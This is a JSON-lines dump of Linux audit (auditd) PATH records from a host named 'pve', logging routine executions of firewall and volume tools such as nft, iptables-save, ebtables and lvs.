{"@timestamp":1781964278573,"@rawstring":"node=pve type=PATH msg=audit(1781964278.573:60346): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964278573,"@rawstring":"node=pve type=PATH msg=audit(1781964278.573:60345): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275612,"@rawstring":"node=pve type=PATH msg=audit(1781964275.612:60344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275612,"@rawstring":"node=pve type=PATH msg=audit(1781964275.612:60344): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275608,"@rawstring":"node=pve type=PATH msg=audit(1781964275.608:60343): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275608,"@rawstring":"node=pve type=PATH msg=audit(1781964275.608:60343): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275606,"@rawstring":"node=pve type=PATH msg=audit(1781964275.606:60342): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275606,"@rawstring":"node=pve type=PATH msg=audit(1781964275.606:60342): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275606,"@rawstring":"node=pve type=PATH msg=audit(1781964275.606:60341): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275601,"@rawstring":"node=pve type=PATH msg=audit(1781964275.601:60340): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275601,"@rawstring":"node=pve type=PATH msg=audit(1781964275.601:60340): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275601,"@rawstring":"node=pve type=PATH msg=audit(1781964275.601:60340): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275595,"@rawstring":"node=pve type=PATH msg=audit(1781964275.595:60339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275595,"@rawstring":"node=pve type=PATH msg=audit(1781964275.595:60339): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275588,"@rawstring":"node=pve type=PATH msg=audit(1781964275.588:60338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275588,"@rawstring":"node=pve type=PATH msg=audit(1781964275.588:60338): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275581,"@rawstring":"node=pve type=PATH msg=audit(1781964275.581:60337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275581,"@rawstring":"node=pve type=PATH msg=audit(1781964275.581:60337): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275574,"@rawstring":"node=pve type=PATH msg=audit(1781964275.574:60336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275574,"@rawstring":"node=pve type=PATH msg=audit(1781964275.574:60336): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275567,"@rawstring":"node=pve type=PATH msg=audit(1781964275.567:60334): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275567,"@rawstring":"node=pve type=PATH msg=audit(1781964275.567:60334): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275562,"@rawstring":"node=pve type=PATH msg=audit(1781964275.562:60333): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275562,"@rawstring":"node=pve type=PATH msg=audit(1781964275.562:60333): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275556,"@rawstring":"node=pve type=PATH msg=audit(1781964275.556:60332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275556,"@rawstring":"node=pve type=PATH msg=audit(1781964275.556:60332): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275550,"@rawstring":"node=pve type=PATH msg=audit(1781964275.550:60331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275550,"@rawstring":"node=pve type=PATH msg=audit(1781964275.550:60331): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275544,"@rawstring":"node=pve type=PATH msg=audit(1781964275.544:60330): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275544,"@rawstring":"node=pve type=PATH msg=audit(1781964275.544:60330): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275538,"@rawstring":"node=pve type=PATH msg=audit(1781964275.538:60329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275538,"@rawstring":"node=pve type=PATH msg=audit(1781964275.538:60329): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275531,"@rawstring":"node=pve type=PATH msg=audit(1781964275.531:60328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275531,"@rawstring":"node=pve type=PATH msg=audit(1781964275.531:60328): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275524,"@rawstring":"node=pve type=PATH msg=audit(1781964275.524:60327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275524,"@rawstring":"node=pve type=PATH msg=audit(1781964275.524:60327): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275520,"@rawstring":"node=pve type=PATH msg=audit(1781964275.520:60326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275520,"@rawstring":"node=pve type=PATH msg=audit(1781964275.520:60326): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275517,"@rawstring":"node=pve type=PATH msg=audit(1781964275.517:60325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275517,"@rawstring":"node=pve type=PATH msg=audit(1781964275.517:60325): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275516,"@rawstring":"node=pve type=PATH msg=audit(1781964275.516:60324): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275516,"@rawstring":"node=pve type=PATH msg=audit(1781964275.516:60324): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275516,"@rawstring":"node=pve type=PATH msg=audit(1781964275.516:60323): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275512,"@rawstring":"node=pve type=PATH msg=audit(1781964275.512:60322): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275512,"@rawstring":"node=pve type=PATH msg=audit(1781964275.512:60322): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275512,"@rawstring":"node=pve type=PATH msg=audit(1781964275.512:60322): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275505,"@rawstring":"node=pve type=PATH msg=audit(1781964275.505:60321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275505,"@rawstring":"node=pve type=PATH msg=audit(1781964275.505:60321): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275498,"@rawstring":"node=pve type=PATH msg=audit(1781964275.498:60320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275498,"@rawstring":"node=pve type=PATH msg=audit(1781964275.498:60320): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275492,"@rawstring":"node=pve type=PATH msg=audit(1781964275.492:60319): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275492,"@rawstring":"node=pve type=PATH msg=audit(1781964275.492:60319): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275485,"@rawstring":"node=pve type=PATH msg=audit(1781964275.485:60318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275485,"@rawstring":"node=pve type=PATH msg=audit(1781964275.485:60318): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275478,"@rawstring":"node=pve type=PATH msg=audit(1781964275.478:60317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964275478,"@rawstring":"node=pve type=PATH msg=audit(1781964275.478:60317): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964274915,"@rawstring":"node=pve type=PATH msg=audit(1781964274.915:60316): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964274915,"@rawstring":"node=pve type=PATH msg=audit(1781964274.915:60316): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964274881,"@rawstring":"node=pve type=PATH msg=audit(1781964274.881:60315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964274881,"@rawstring":"node=pve type=PATH msg=audit(1781964274.881:60315): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PATH msg=audit(1781964273.563:60314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PATH msg=audit(1781964273.563:60314): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PATH msg=audit(1781964273.563:60313): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=PATH msg=audit(1781964273.563:60312): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PATH msg=audit(1781964273.550:60311): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PATH msg=audit(1781964273.550:60311): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PATH msg=audit(1781964273.550:60310): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=PATH msg=audit(1781964273.550:60309): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PATH msg=audit(1781964268.541:60308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PATH msg=audit(1781964268.541:60308): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PATH msg=audit(1781964268.541:60307): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=PATH msg=audit(1781964268.541:60306): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PATH msg=audit(1781964268.533:60305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PATH msg=audit(1781964268.533:60305): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PATH msg=audit(1781964268.533:60304): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=PATH msg=audit(1781964268.533:60303): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265466,"@rawstring":"node=pve type=PATH msg=audit(1781964265.466:60302): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265466,"@rawstring":"node=pve type=PATH msg=audit(1781964265.466:60302): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265463,"@rawstring":"node=pve type=PATH msg=audit(1781964265.463:60301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265463,"@rawstring":"node=pve type=PATH msg=audit(1781964265.463:60301): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265462,"@rawstring":"node=pve type=PATH msg=audit(1781964265.462:60300): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265462,"@rawstring":"node=pve type=PATH msg=audit(1781964265.462:60300): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265462,"@rawstring":"node=pve type=PATH msg=audit(1781964265.462:60299): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265459,"@rawstring":"node=pve type=PATH msg=audit(1781964265.459:60298): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265459,"@rawstring":"node=pve type=PATH msg=audit(1781964265.459:60298): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265459,"@rawstring":"node=pve type=PATH msg=audit(1781964265.459:60298): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265451,"@rawstring":"node=pve type=PATH msg=audit(1781964265.451:60297): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265451,"@rawstring":"node=pve type=PATH msg=audit(1781964265.451:60297): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265443,"@rawstring":"node=pve type=PATH msg=audit(1781964265.443:60296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265443,"@rawstring":"node=pve type=PATH msg=audit(1781964265.443:60296): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265435,"@rawstring":"node=pve type=PATH msg=audit(1781964265.435:60295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265435,"@rawstring":"node=pve type=PATH msg=audit(1781964265.435:60295): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265429,"@rawstring":"node=pve type=PATH msg=audit(1781964265.429:60294): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265429,"@rawstring":"node=pve type=PATH msg=audit(1781964265.429:60294): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265423,"@rawstring":"node=pve type=PATH msg=audit(1781964265.423:60292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265423,"@rawstring":"node=pve type=PATH msg=audit(1781964265.423:60292): item=0 